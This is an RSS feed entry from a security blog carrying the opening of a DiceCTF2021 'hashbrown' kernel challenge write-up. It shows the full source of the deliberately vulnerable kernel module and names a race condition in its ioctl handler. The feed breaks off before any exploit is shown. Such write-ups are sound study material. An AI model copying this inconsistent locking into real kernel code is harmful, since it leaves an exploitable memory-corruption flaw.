<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>Race Condition on Uniguri&#39;s Blog</title>
    <link>/tags/race-condition/</link>
    <description>Recent content in Race Condition on Uniguri&#39;s Blog</description>
    <generator>Hugo -- gohugo.io</generator>
    <language>en-us</language>
    <lastBuildDate>Tue, 11 Feb 2025 13:29:06 +0000</lastBuildDate><atom:link href="/tags/race-condition/index.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>DiceCTF2021 hashbrown</title>
      <link>/posts/kernel/write-ups/ctf/dicectf2021-hashbrown/</link>
      <pubDate>Tue, 11 Feb 2025 13:29:06 +0000</pubDate>
      
      <guid>/posts/kernel/write-ups/ctf/dicectf2021-hashbrown/</guid>
      <description>&lt;hr&gt;
&lt;h2 id=&#34;problem&#34;&gt;Problem&lt;/h2&gt;
&lt;h3 id=&#34;environment&#34;&gt;Environment&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;linux version: &lt;a href=&#34;https://elixir.bootlin.com/linux/v5.11-rc3/source&#34;&gt;&lt;code&gt;5.11.0-rc3&lt;/code&gt;&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;CONFIG_SLAB_FREELIST_RANDOM=y&lt;/li&gt;
&lt;li&gt;CONFIG_SLAB=y&lt;/li&gt;
&lt;li&gt;CONFIG_FG_KASLR=y&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;unprivileged_userfaultfd: 1&lt;/li&gt;
&lt;li&gt;unprivileged_bpf_disabled: 0&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;module&#34;&gt;Module&lt;/h3&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;381792654&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;381792654&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;DiceCTF2021-hashbrown-module.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;#include &amp;lt;linux/device.h&amp;gt;
#include &amp;lt;linux/fs.h&amp;gt;
#include &amp;lt;linux/kernel.h&amp;gt;
#include &amp;lt;linux/module.h&amp;gt;
#include &amp;lt;linux/mutex.h&amp;gt;
#include &amp;lt;linux/slab.h&amp;gt;
#include &amp;lt;linux/uaccess.h&amp;gt;

#define DEVICE_NAME &amp;#34;hashbrown&amp;#34;
#define CLASS_NAME &amp;#34;hashbrown&amp;#34;

MODULE_AUTHOR(&amp;#34;FizzBuzz101&amp;#34;);
MODULE_DESCRIPTION(&amp;#34;Here&amp;#39;s a hashbrown for everyone!&amp;#34;);
MODULE_LICENSE(&amp;#34;GPL&amp;#34;);

#define ADD_KEY 0x1337
#define DELETE_KEY 0x1338
#define UPDATE_VALUE 0x1339
#define DELETE_VALUE 0x133a
#define GET_VALUE 0x133b

#define SIZE_ARR_START 0x10
#define SIZE_ARR_MAX 0x200
#define MAX_ENTRIES 0x400
#define MAX_VALUE_SIZE 0xb0
#define GET_THRESHOLD(size) size - (size &amp;gt;&amp;gt; 2)

#define INVALID 1
#define EXISTS 2
#define NOT_EXISTS 3
#define MAXED 4

static DEFINE_MUTEX(operations_lock);
static DEFINE_MUTEX(resize_lock);
static long hashmap_ioctl(struct file *file, unsigned int cmd,
                          unsigned long arg);

static int major;
static struct class *hashbrown_class = NULL;
static struct device *hashbrown_device = NULL;
static struct file_operations hashbrown_fops = {.unlocked_ioctl =
                                                    hashmap_ioctl};

typedef struct {
  uint32_t key;
  uint32_t size;
  char *src;
  char *dest;
} request_t;

struct hash_entry {
  uint32_t key;
  uint32_t size;
  char *value;
  struct hash_entry *next;
};
typedef struct hash_entry hash_entry;

typedef struct {
  uint32_t size;
  uint32_t threshold;
  uint32_t entry_count;
  hash_entry **buckets;
} hashmap_t;
hashmap_t hashmap;

static noinline uint32_t get_hash_idx(uint32_t key, uint32_t size);

static noinline long resize(request_t *arg);
static noinline void resize_add(uint32_t idx, hash_entry *entry,
                                hash_entry **new_buckets);
static noinline void resize_clean_old(void);

static noinline long add_key(uint32_t idx, uint32_t key, uint32_t size,
                             char *src);
static noinline long delete_key(uint32_t idx, uint32_t key);
static noinline long update_value(uint32_t idx, uint32_t key, uint32_t size,
                                  char *src);
static noinline long delete_value(uint32_t idx, uint32_t key);
static noinline long get_value(uint32_t idx, uint32_t key, uint32_t size,
                               char *dest);

#pragma GCC push_options
#pragma GCC optimize(&amp;#34;O1&amp;#34;)

static long hashmap_ioctl(struct file *file, unsigned int cmd,
                          unsigned long arg) {
  long result;
  request_t request;
  uint32_t idx;

  if (cmd == ADD_KEY) {
    if (hashmap.entry_count == hashmap.threshold &amp;amp;&amp;amp;
        hashmap.size &amp;lt; SIZE_ARR_MAX) {
      mutex_lock(&amp;amp;resize_lock);
      result = resize((request_t *)arg);
      mutex_unlock(&amp;amp;resize_lock);
      return result;
    }
  }

  mutex_lock(&amp;amp;operations_lock);
  if (copy_from_user((void *)&amp;amp;request, (void *)arg, sizeof(request_t))) {
    result = INVALID;
  } else if (cmd == ADD_KEY &amp;amp;&amp;amp; hashmap.entry_count == MAX_ENTRIES) {
    result = MAXED;
  } else {
    idx = get_hash_idx(request.key, hashmap.size);
    switch (cmd) {
      case ADD_KEY:
        result = add_key(idx, request.key, request.size, request.src);
        break;
      case DELETE_KEY:
        result = delete_key(idx, request.key);
        break;
      case UPDATE_VALUE:
        result = update_value(idx, request.key, request.size, request.src);
        break;
      case DELETE_VALUE:
        result = delete_value(idx, request.key);
        break;
      case GET_VALUE:
        result = get_value(idx, request.key, request.size, request.dest);
        break;
      default:
        result = INVALID;
        break;
    }
  }
  mutex_unlock(&amp;amp;operations_lock);
  return result;
}

static uint32_t get_hash_idx(uint32_t key, uint32_t size) {
  uint32_t hash;
  key ^= (key &amp;gt;&amp;gt; 20) ^ (key &amp;gt;&amp;gt; 12);
  hash = key ^ (key &amp;gt;&amp;gt; 7) ^ (key &amp;gt;&amp;gt; 4);
  return hash &amp;amp; (size - 1);
}

static noinline void resize_add(uint32_t idx, hash_entry *entry,
                                hash_entry **new_buckets) {
  if (!new_buckets[idx]) {
    new_buckets[idx] = entry;
  } else {
    entry-&amp;gt;next = new_buckets[idx];
    new_buckets[idx] = entry;
  }
}

static noinline void resize_clean_old() {
  int i;
  hash_entry *traverse, *temp;
  for (i = 0; i &amp;lt; hashmap.size; i++) {
    if (hashmap.buckets[i]) {
      traverse = hashmap.buckets[i];
      while (traverse) {
        temp = traverse;
        traverse = traverse-&amp;gt;next;
        kfree(temp);
      }
      hashmap.buckets[i] = NULL;
    }
  }
  kfree(hashmap.buckets);
  hashmap.buckets = NULL;
  return;
}

static long resize(request_t *arg) {
  hash_entry **new_buckets, *temp_entry, *temp;
  request_t request;
  char *temp_data;
  uint32_t new_size, new_threshold, new_idx;
  int i, duplicate;

  if (copy_from_user((void *)&amp;amp;request, (void *)arg, sizeof(request_t))) {
    return INVALID;
  }
  if (request.size &amp;lt; 1 || request.size &amp;gt; MAX_VALUE_SIZE) {
    return INVALID;
  }

  new_size = hashmap.size * 2;
  new_threshold = GET_THRESHOLD(new_size);
  new_buckets = kzalloc(sizeof(hash_entry *) * new_size, GFP_KERNEL);

  if (!new_buckets) {
    return INVALID;
  }

  duplicate = 0;
  for (i = 0; i &amp;lt; hashmap.size; i++) {
    if (hashmap.buckets[i]) {
      for (temp_entry = hashmap.buckets[i]; temp_entry != NULL;
           temp_entry = temp_entry-&amp;gt;next) {
        if (temp_entry-&amp;gt;key == request.key) {
          duplicate = 1;
        }
        new_idx = get_hash_idx(temp_entry-&amp;gt;key, new_size);
        temp = kzalloc(sizeof(hash_entry), GFP_KERNEL);
        if (!temp) {
          kfree(new_buckets);
          return INVALID;
        }
        temp-&amp;gt;key = temp_entry-&amp;gt;key;
        temp-&amp;gt;size = temp_entry-&amp;gt;size;
        temp-&amp;gt;value = temp_entry-&amp;gt;value;
        resize_add(new_idx, temp, new_buckets);
      }
    }
  }
  if (!duplicate) {
    new_idx = get_hash_idx(request.key, new_size);
    temp = kzalloc(sizeof(hash_entry), GFP_KERNEL);
    if (!temp) {
      kfree(new_buckets);
      return INVALID;
    }
    temp_data = kzalloc(request.size, GFP_KERNEL);
    if (!temp_data) {
      kfree(temp);
      kfree(new_buckets);
      return INVALID;
    }
    if (copy_from_user(temp_data, request.src, request.size)) {
      kfree(temp_data);
      kfree(temp);
      kfree(new_buckets);
      return INVALID;
    }
    temp-&amp;gt;size = request.size;
    temp-&amp;gt;value = temp_data;
    temp-&amp;gt;key = request.key;
    temp-&amp;gt;next = NULL;
    resize_add(new_idx, temp, new_buckets);
    hashmap.entry_count++;
  }
  resize_clean_old();
  hashmap.size = new_size;
  hashmap.threshold = new_threshold;
  hashmap.buckets = new_buckets;
  return (duplicate) ? EXISTS : 0;
}

static long add_key(uint32_t idx, uint32_t key, uint32_t size, char *src) {
  hash_entry *temp_entry, *temp;
  char *temp_data;
  if (size &amp;lt; 1 || size &amp;gt; MAX_VALUE_SIZE) {
    return INVALID;
  }

  temp_entry = kzalloc(sizeof(hash_entry), GFP_KERNEL);
  temp_data = kzalloc(size, GFP_KERNEL);
  if (!temp_entry || !temp_data) {
    return INVALID;
  }
  if (copy_from_user(temp_data, src, size)) {
    return INVALID;
  }
  temp_entry-&amp;gt;key = key;
  temp_entry-&amp;gt;size = size;
  temp_entry-&amp;gt;value = temp_data;
  temp_entry-&amp;gt;next = NULL;

  if (!hashmap.buckets[idx]) {
    hashmap.buckets[idx] = temp_entry;
    hashmap.entry_count++;
    return 0;
  } else {
    for (temp = hashmap.buckets[idx]; temp-&amp;gt;next != NULL; temp = temp-&amp;gt;next) {
      if (temp-&amp;gt;key == key) {
        kfree(temp_data);
        kfree(temp_entry);
        return EXISTS;
      }
    }
    if (temp-&amp;gt;key == key) {
      kfree(temp_data);
      kfree(temp_entry);
      return EXISTS;
    }
    temp-&amp;gt;next = temp_entry;
    hashmap.entry_count++;
    return 0;
  }
}

static long delete_key(uint32_t idx, uint32_t key) {
  hash_entry *temp, *prev;

  if (!hashmap.buckets[idx]) {
    return NOT_EXISTS;
  }
  if (hashmap.buckets[idx]-&amp;gt;key == key) {
    temp = hashmap.buckets[idx]-&amp;gt;next;
    if (hashmap.buckets[idx]-&amp;gt;value) {
      kfree(hashmap.buckets[idx]-&amp;gt;value);
    }
    kfree(hashmap.buckets[idx]);
    hashmap.buckets[idx] = temp;
    hashmap.entry_count--;
    return 0;
  }
  temp = hashmap.buckets[idx];
  while (temp != NULL &amp;amp;&amp;amp; temp-&amp;gt;key != key) {
    prev = temp;
    temp = temp-&amp;gt;next;
  }
  if (temp == NULL) {
    return NOT_EXISTS;
  }
  prev-&amp;gt;next = temp-&amp;gt;next;
  if (temp-&amp;gt;value) {
    kfree(temp-&amp;gt;value);
  }
  kfree(temp);
  hashmap.entry_count--;
  return 0;
}

static long update_value(uint32_t idx, uint32_t key, uint32_t size, char *src) {
  hash_entry *temp;
  char *temp_data;

  if (size &amp;lt; 1 || size &amp;gt; MAX_VALUE_SIZE) {
    return INVALID;
  }
  if (!hashmap.buckets[idx]) {
    return NOT_EXISTS;
  }

  for (temp = hashmap.buckets[idx]; temp != NULL; temp = temp-&amp;gt;next) {
    if (temp-&amp;gt;key == key) {
      if (temp-&amp;gt;size != size) {
        if (temp-&amp;gt;value) {
          kfree(temp-&amp;gt;value);
        }
        temp-&amp;gt;value = NULL;
        temp-&amp;gt;size = 0;
        temp_data = kzalloc(size, GFP_KERNEL);
        if (!temp_data || copy_from_user(temp_data, src, size)) {
          return INVALID;
        }
        temp-&amp;gt;size = size;
        temp-&amp;gt;value = temp_data;
      } else {
        if (copy_from_user(temp-&amp;gt;value, src, size)) {
          return INVALID;
        }
      }
      return 0;
    }
  }
  return NOT_EXISTS;
}

static long delete_value(uint32_t idx, uint32_t key) {
  hash_entry *temp;
  if (!hashmap.buckets[idx]) {
    return NOT_EXISTS;
  }
  for (temp = hashmap.buckets[idx]; temp != NULL; temp = temp-&amp;gt;next) {
    if (temp-&amp;gt;key == key) {
      if (!temp-&amp;gt;value || !temp-&amp;gt;size) {
        return NOT_EXISTS;
      }
      kfree(temp-&amp;gt;value);
      temp-&amp;gt;value = NULL;
      temp-&amp;gt;size = 0;
      return 0;
    }
  }
  return NOT_EXISTS;
}

static long get_value(uint32_t idx, uint32_t key, uint32_t size, char *dest) {
  hash_entry *temp;
  if (!hashmap.buckets[idx]) {
    return NOT_EXISTS;
  }
  for (temp = hashmap.buckets[idx]; temp != NULL; temp = temp-&amp;gt;next) {
    if (temp-&amp;gt;key == key) {
      if (!temp-&amp;gt;value || !temp-&amp;gt;size) {
        return NOT_EXISTS;
      }
      if (size &amp;gt; temp-&amp;gt;size) {
        return INVALID;
      }
      if (copy_to_user(dest, temp-&amp;gt;value, size)) {
        return INVALID;
      }
      return 0;
    }
  }
  return NOT_EXISTS;
}

#pragma GCC pop_options

static int __init init_hashbrown(void) {
  major = register_chrdev(0, DEVICE_NAME, &amp;amp;hashbrown_fops);
  if (major &amp;lt; 0) {
    return -1;
  }
  hashbrown_class = class_create(THIS_MODULE, CLASS_NAME);
  if (IS_ERR(hashbrown_class)) {
    unregister_chrdev(major, DEVICE_NAME);
    return -1;
  }
  hashbrown_device =
      device_create(hashbrown_class, 0, MKDEV(major, 0), 0, DEVICE_NAME);
  if (IS_ERR(hashbrown_device)) {
    class_destroy(hashbrown_class);
    unregister_chrdev(major, DEVICE_NAME);
    return -1;
  }
  mutex_init(&amp;amp;operations_lock);
  mutex_init(&amp;amp;resize_lock);

  hashmap.size = SIZE_ARR_START;
  hashmap.entry_count = 0;
  hashmap.threshold = GET_THRESHOLD(hashmap.size);
  hashmap.buckets = kzalloc(sizeof(hash_entry *) * hashmap.size, GFP_KERNEL);
  printk(KERN_INFO &amp;#34;HashBrown Loaded! Who doesn&amp;#39;t love Hashbrowns!\n&amp;#34;);
  return 0;
}

static void __exit exit_hashbrown(void) {
  device_destroy(hashbrown_class, MKDEV(major, 0));
  class_unregister(hashbrown_class);
  class_destroy(hashbrown_class);
  unregister_chrdev(major, DEVICE_NAME);
  mutex_destroy(&amp;amp;operations_lock);
  mutex_destroy(&amp;amp;resize_lock);
  printk(KERN_INFO &amp;#34;HashBrown Unloaded\n&amp;#34;);
}

module_init(init_hashbrown);
module_exit(exit_hashbrown);&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;This module allow us to add, delete and update key and value to hashmap.&lt;/p&gt;</description>
      <content>&lt;hr&gt;
&lt;h2 id=&#34;problem&#34;&gt;Problem&lt;/h2&gt;
&lt;h3 id=&#34;environment&#34;&gt;Environment&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;linux version: &lt;a href=&#34;https://elixir.bootlin.com/linux/v5.11-rc3/source&#34;&gt;&lt;code&gt;5.11.0-rc3&lt;/code&gt;&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;CONFIG_SLAB_FREELIST_RANDOM=y&lt;/li&gt;
&lt;li&gt;CONFIG_SLAB=y&lt;/li&gt;
&lt;li&gt;CONFIG_FG_KASLR=y&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;unprivileged_userfaultfd: 1&lt;/li&gt;
&lt;li&gt;unprivileged_bpf_disabled: 0&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;module&#34;&gt;Module&lt;/h3&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;381792654&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;381792654&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;DiceCTF2021-hashbrown-module.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;#include &amp;lt;linux/device.h&amp;gt;
#include &amp;lt;linux/fs.h&amp;gt;
#include &amp;lt;linux/kernel.h&amp;gt;
#include &amp;lt;linux/module.h&amp;gt;
#include &amp;lt;linux/mutex.h&amp;gt;
#include &amp;lt;linux/slab.h&amp;gt;
#include &amp;lt;linux/uaccess.h&amp;gt;

#define DEVICE_NAME &amp;#34;hashbrown&amp;#34;
#define CLASS_NAME &amp;#34;hashbrown&amp;#34;

MODULE_AUTHOR(&amp;#34;FizzBuzz101&amp;#34;);
MODULE_DESCRIPTION(&amp;#34;Here&amp;#39;s a hashbrown for everyone!&amp;#34;);
MODULE_LICENSE(&amp;#34;GPL&amp;#34;);

#define ADD_KEY 0x1337
#define DELETE_KEY 0x1338
#define UPDATE_VALUE 0x1339
#define DELETE_VALUE 0x133a
#define GET_VALUE 0x133b

#define SIZE_ARR_START 0x10
#define SIZE_ARR_MAX 0x200
#define MAX_ENTRIES 0x400
#define MAX_VALUE_SIZE 0xb0
#define GET_THRESHOLD(size) size - (size &amp;gt;&amp;gt; 2)

#define INVALID 1
#define EXISTS 2
#define NOT_EXISTS 3
#define MAXED 4

static DEFINE_MUTEX(operations_lock);
static DEFINE_MUTEX(resize_lock);
static long hashmap_ioctl(struct file *file, unsigned int cmd,
                          unsigned long arg);

static int major;
static struct class *hashbrown_class = NULL;
static struct device *hashbrown_device = NULL;
static struct file_operations hashbrown_fops = {.unlocked_ioctl =
                                                    hashmap_ioctl};

typedef struct {
  uint32_t key;
  uint32_t size;
  char *src;
  char *dest;
} request_t;

struct hash_entry {
  uint32_t key;
  uint32_t size;
  char *value;
  struct hash_entry *next;
};
typedef struct hash_entry hash_entry;

typedef struct {
  uint32_t size;
  uint32_t threshold;
  uint32_t entry_count;
  hash_entry **buckets;
} hashmap_t;
hashmap_t hashmap;

static noinline uint32_t get_hash_idx(uint32_t key, uint32_t size);

static noinline long resize(request_t *arg);
static noinline void resize_add(uint32_t idx, hash_entry *entry,
                                hash_entry **new_buckets);
static noinline void resize_clean_old(void);

static noinline long add_key(uint32_t idx, uint32_t key, uint32_t size,
                             char *src);
static noinline long delete_key(uint32_t idx, uint32_t key);
static noinline long update_value(uint32_t idx, uint32_t key, uint32_t size,
                                  char *src);
static noinline long delete_value(uint32_t idx, uint32_t key);
static noinline long get_value(uint32_t idx, uint32_t key, uint32_t size,
                               char *dest);

#pragma GCC push_options
#pragma GCC optimize(&amp;#34;O1&amp;#34;)

static long hashmap_ioctl(struct file *file, unsigned int cmd,
                          unsigned long arg) {
  long result;
  request_t request;
  uint32_t idx;

  if (cmd == ADD_KEY) {
    if (hashmap.entry_count == hashmap.threshold &amp;amp;&amp;amp;
        hashmap.size &amp;lt; SIZE_ARR_MAX) {
      mutex_lock(&amp;amp;resize_lock);
      result = resize((request_t *)arg);
      mutex_unlock(&amp;amp;resize_lock);
      return result;
    }
  }

  mutex_lock(&amp;amp;operations_lock);
  if (copy_from_user((void *)&amp;amp;request, (void *)arg, sizeof(request_t))) {
    result = INVALID;
  } else if (cmd == ADD_KEY &amp;amp;&amp;amp; hashmap.entry_count == MAX_ENTRIES) {
    result = MAXED;
  } else {
    idx = get_hash_idx(request.key, hashmap.size);
    switch (cmd) {
      case ADD_KEY:
        result = add_key(idx, request.key, request.size, request.src);
        break;
      case DELETE_KEY:
        result = delete_key(idx, request.key);
        break;
      case UPDATE_VALUE:
        result = update_value(idx, request.key, request.size, request.src);
        break;
      case DELETE_VALUE:
        result = delete_value(idx, request.key);
        break;
      case GET_VALUE:
        result = get_value(idx, request.key, request.size, request.dest);
        break;
      default:
        result = INVALID;
        break;
    }
  }
  mutex_unlock(&amp;amp;operations_lock);
  return result;
}

static uint32_t get_hash_idx(uint32_t key, uint32_t size) {
  uint32_t hash;
  key ^= (key &amp;gt;&amp;gt; 20) ^ (key &amp;gt;&amp;gt; 12);
  hash = key ^ (key &amp;gt;&amp;gt; 7) ^ (key &amp;gt;&amp;gt; 4);
  return hash &amp;amp; (size - 1);
}

static noinline void resize_add(uint32_t idx, hash_entry *entry,
                                hash_entry **new_buckets) {
  if (!new_buckets[idx]) {
    new_buckets[idx] = entry;
  } else {
    entry-&amp;gt;next = new_buckets[idx];
    new_buckets[idx] = entry;
  }
}

static noinline void resize_clean_old() {
  int i;
  hash_entry *traverse, *temp;
  for (i = 0; i &amp;lt; hashmap.size; i++) {
    if (hashmap.buckets[i]) {
      traverse = hashmap.buckets[i];
      while (traverse) {
        temp = traverse;
        traverse = traverse-&amp;gt;next;
        kfree(temp);
      }
      hashmap.buckets[i] = NULL;
    }
  }
  kfree(hashmap.buckets);
  hashmap.buckets = NULL;
  return;
}

static long resize(request_t *arg) {
  hash_entry **new_buckets, *temp_entry, *temp;
  request_t request;
  char *temp_data;
  uint32_t new_size, new_threshold, new_idx;
  int i, duplicate;

  if (copy_from_user((void *)&amp;amp;request, (void *)arg, sizeof(request_t))) {
    return INVALID;
  }
  if (request.size &amp;lt; 1 || request.size &amp;gt; MAX_VALUE_SIZE) {
    return INVALID;
  }

  new_size = hashmap.size * 2;
  new_threshold = GET_THRESHOLD(new_size);
  new_buckets = kzalloc(sizeof(hash_entry *) * new_size, GFP_KERNEL);

  if (!new_buckets) {
    return INVALID;
  }

  duplicate = 0;
  for (i = 0; i &amp;lt; hashmap.size; i++) {
    if (hashmap.buckets[i]) {
      for (temp_entry = hashmap.buckets[i]; temp_entry != NULL;
           temp_entry = temp_entry-&amp;gt;next) {
        if (temp_entry-&amp;gt;key == request.key) {
          duplicate = 1;
        }
        new_idx = get_hash_idx(temp_entry-&amp;gt;key, new_size);
        temp = kzalloc(sizeof(hash_entry), GFP_KERNEL);
        if (!temp) {
          kfree(new_buckets);
          return INVALID;
        }
        temp-&amp;gt;key = temp_entry-&amp;gt;key;
        temp-&amp;gt;size = temp_entry-&amp;gt;size;
        temp-&amp;gt;value = temp_entry-&amp;gt;value;
        resize_add(new_idx, temp, new_buckets);
      }
    }
  }
  if (!duplicate) {
    new_idx = get_hash_idx(request.key, new_size);
    temp = kzalloc(sizeof(hash_entry), GFP_KERNEL);
    if (!temp) {
      kfree(new_buckets);
      return INVALID;
    }
    temp_data = kzalloc(request.size, GFP_KERNEL);
    if (!temp_data) {
      kfree(temp);
      kfree(new_buckets);
      return INVALID;
    }
    if (copy_from_user(temp_data, request.src, request.size)) {
      kfree(temp_data);
      kfree(temp);
      kfree(new_buckets);
      return INVALID;
    }
    temp-&amp;gt;size = request.size;
    temp-&amp;gt;value = temp_data;
    temp-&amp;gt;key = request.key;
    temp-&amp;gt;next = NULL;
    resize_add(new_idx, temp, new_buckets);
    hashmap.entry_count++;
  }
  resize_clean_old();
  hashmap.size = new_size;
  hashmap.threshold = new_threshold;
  hashmap.buckets = new_buckets;
  return (duplicate) ? EXISTS : 0;
}

static long add_key(uint32_t idx, uint32_t key, uint32_t size, char *src) {
  hash_entry *temp_entry, *temp;
  char *temp_data;
  if (size &amp;lt; 1 || size &amp;gt; MAX_VALUE_SIZE) {
    return INVALID;
  }

  temp_entry = kzalloc(sizeof(hash_entry), GFP_KERNEL);
  temp_data = kzalloc(size, GFP_KERNEL);
  if (!temp_entry || !temp_data) {
    return INVALID;
  }
  if (copy_from_user(temp_data, src, size)) {
    return INVALID;
  }
  temp_entry-&amp;gt;key = key;
  temp_entry-&amp;gt;size = size;
  temp_entry-&amp;gt;value = temp_data;
  temp_entry-&amp;gt;next = NULL;

  if (!hashmap.buckets[idx]) {
    hashmap.buckets[idx] = temp_entry;
    hashmap.entry_count++;
    return 0;
  } else {
    for (temp = hashmap.buckets[idx]; temp-&amp;gt;next != NULL; temp = temp-&amp;gt;next) {
      if (temp-&amp;gt;key == key) {
        kfree(temp_data);
        kfree(temp_entry);
        return EXISTS;
      }
    }
    if (temp-&amp;gt;key == key) {
      kfree(temp_data);
      kfree(temp_entry);
      return EXISTS;
    }
    temp-&amp;gt;next = temp_entry;
    hashmap.entry_count++;
    return 0;
  }
}

static long delete_key(uint32_t idx, uint32_t key) {
  hash_entry *temp, *prev;

  if (!hashmap.buckets[idx]) {
    return NOT_EXISTS;
  }
  if (hashmap.buckets[idx]-&amp;gt;key == key) {
    temp = hashmap.buckets[idx]-&amp;gt;next;
    if (hashmap.buckets[idx]-&amp;gt;value) {
      kfree(hashmap.buckets[idx]-&amp;gt;value);
    }
    kfree(hashmap.buckets[idx]);
    hashmap.buckets[idx] = temp;
    hashmap.entry_count--;
    return 0;
  }
  temp = hashmap.buckets[idx];
  while (temp != NULL &amp;amp;&amp;amp; temp-&amp;gt;key != key) {
    prev = temp;
    temp = temp-&amp;gt;next;
  }
  if (temp == NULL) {
    return NOT_EXISTS;
  }
  prev-&amp;gt;next = temp-&amp;gt;next;
  if (temp-&amp;gt;value) {
    kfree(temp-&amp;gt;value);
  }
  kfree(temp);
  hashmap.entry_count--;
  return 0;
}

static long update_value(uint32_t idx, uint32_t key, uint32_t size, char *src) {
  hash_entry *temp;
  char *temp_data;

  if (size &amp;lt; 1 || size &amp;gt; MAX_VALUE_SIZE) {
    return INVALID;
  }
  if (!hashmap.buckets[idx]) {
    return NOT_EXISTS;
  }

  for (temp = hashmap.buckets[idx]; temp != NULL; temp = temp-&amp;gt;next) {
    if (temp-&amp;gt;key == key) {
      if (temp-&amp;gt;size != size) {
        if (temp-&amp;gt;value) {
          kfree(temp-&amp;gt;value);
        }
        temp-&amp;gt;value = NULL;
        temp-&amp;gt;size = 0;
        temp_data = kzalloc(size, GFP_KERNEL);
        if (!temp_data || copy_from_user(temp_data, src, size)) {
          return INVALID;
        }
        temp-&amp;gt;size = size;
        temp-&amp;gt;value = temp_data;
      } else {
        if (copy_from_user(temp-&amp;gt;value, src, size)) {
          return INVALID;
        }
      }
      return 0;
    }
  }
  return NOT_EXISTS;
}

static long delete_value(uint32_t idx, uint32_t key) {
  hash_entry *temp;
  if (!hashmap.buckets[idx]) {
    return NOT_EXISTS;
  }
  for (temp = hashmap.buckets[idx]; temp != NULL; temp = temp-&amp;gt;next) {
    if (temp-&amp;gt;key == key) {
      if (!temp-&amp;gt;value || !temp-&amp;gt;size) {
        return NOT_EXISTS;
      }
      kfree(temp-&amp;gt;value);
      temp-&amp;gt;value = NULL;
      temp-&amp;gt;size = 0;
      return 0;
    }
  }
  return NOT_EXISTS;
}

static long get_value(uint32_t idx, uint32_t key, uint32_t size, char *dest) {
  hash_entry *temp;
  if (!hashmap.buckets[idx]) {
    return NOT_EXISTS;
  }
  for (temp = hashmap.buckets[idx]; temp != NULL; temp = temp-&amp;gt;next) {
    if (temp-&amp;gt;key == key) {
      if (!temp-&amp;gt;value || !temp-&amp;gt;size) {
        return NOT_EXISTS;
      }
      if (size &amp;gt; temp-&amp;gt;size) {
        return INVALID;
      }
      if (copy_to_user(dest, temp-&amp;gt;value, size)) {
        return INVALID;
      }
      return 0;
    }
  }
  return NOT_EXISTS;
}

#pragma GCC pop_options

static int __init init_hashbrown(void) {
  major = register_chrdev(0, DEVICE_NAME, &amp;amp;hashbrown_fops);
  if (major &amp;lt; 0) {
    return -1;
  }
  hashbrown_class = class_create(THIS_MODULE, CLASS_NAME);
  if (IS_ERR(hashbrown_class)) {
    unregister_chrdev(major, DEVICE_NAME);
    return -1;
  }
  hashbrown_device =
      device_create(hashbrown_class, 0, MKDEV(major, 0), 0, DEVICE_NAME);
  if (IS_ERR(hashbrown_device)) {
    class_destroy(hashbrown_class);
    unregister_chrdev(major, DEVICE_NAME);
    return -1;
  }
  mutex_init(&amp;amp;operations_lock);
  mutex_init(&amp;amp;resize_lock);

  hashmap.size = SIZE_ARR_START;
  hashmap.entry_count = 0;
  hashmap.threshold = GET_THRESHOLD(hashmap.size);
  hashmap.buckets = kzalloc(sizeof(hash_entry *) * hashmap.size, GFP_KERNEL);
  printk(KERN_INFO &amp;#34;HashBrown Loaded! Who doesn&amp;#39;t love Hashbrowns!\n&amp;#34;);
  return 0;
}

static void __exit exit_hashbrown(void) {
  device_destroy(hashbrown_class, MKDEV(major, 0));
  class_unregister(hashbrown_class);
  class_destroy(hashbrown_class);
  unregister_chrdev(major, DEVICE_NAME);
  mutex_destroy(&amp;amp;operations_lock);
  mutex_destroy(&amp;amp;resize_lock);
  printk(KERN_INFO &amp;#34;HashBrown Unloaded\n&amp;#34;);
}

module_init(init_hashbrown);
module_exit(exit_hashbrown);&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;This module allow us to add, delete and update key and value to hashmap.&lt;/p&gt;
&lt;h3 id=&#34;vulnerability&#34;&gt;Vulnerability&lt;/h3&gt;
&lt;p&gt;The vulnerability is easy, a race condition can be occurs in &lt;code&gt;hashmap_ioctl&lt;/code&gt; function:&lt;/p&gt;
